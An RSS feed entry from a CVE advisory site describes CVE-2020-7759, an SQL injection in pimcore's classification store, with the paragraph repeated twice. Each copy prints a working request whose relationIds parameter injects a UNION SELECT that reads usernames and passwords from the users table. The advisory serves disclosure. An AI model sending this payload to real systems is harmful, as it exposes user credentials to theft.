https://cve.radiocsirt.org Contains only the most 10 recent entries. http://www.rssboard.org/rss-specification python-feedgen en Tue, 27 Oct 2026 15:37:58 +0000 https://cve.radiocsirt.org/vuln/cve-2020-7759 <p><strong>Affected:</strong> pimcore/pimcore</p> <p>The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{&#34;keyId&#34;%3a&#34;&#39;&#39;&#34;,&#34;groupId&#34;%3a&#34;&#39;asd&#39;))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,&#39;&#39;,11,12,&#39;&#39;,14+from+users)+--+&#34;}]</p> <p><strong>Affected:</strong> pimcore/pimcore</p> <p>The package pimcore/pimcore from 6.7.2 and before 6.8.3 are vulnerable to SQL Injection in data classification functionality in ClassificationstoreController. This can be exploited by sending a specifically-crafted input in the relationIds parameter as demonstrated by the following request: http://vulnerable.pimcore.example/admin/classificationstore/relations?relationIds=[{&#34;keyId&#34;%3a&#34;&#39;&#39;&#34;,&#34;groupId&#34;%3a&#34;&#39;asd&#39;))+or+1%3d1+union+(select+1,2,3,4,5,6,name,8,password,&#39;&#39;,11,12,&#39;&#39;,14+from+users)+--+&#34;}]</p> https://cve.radiocsirt.org/vuln/cve-2020-7759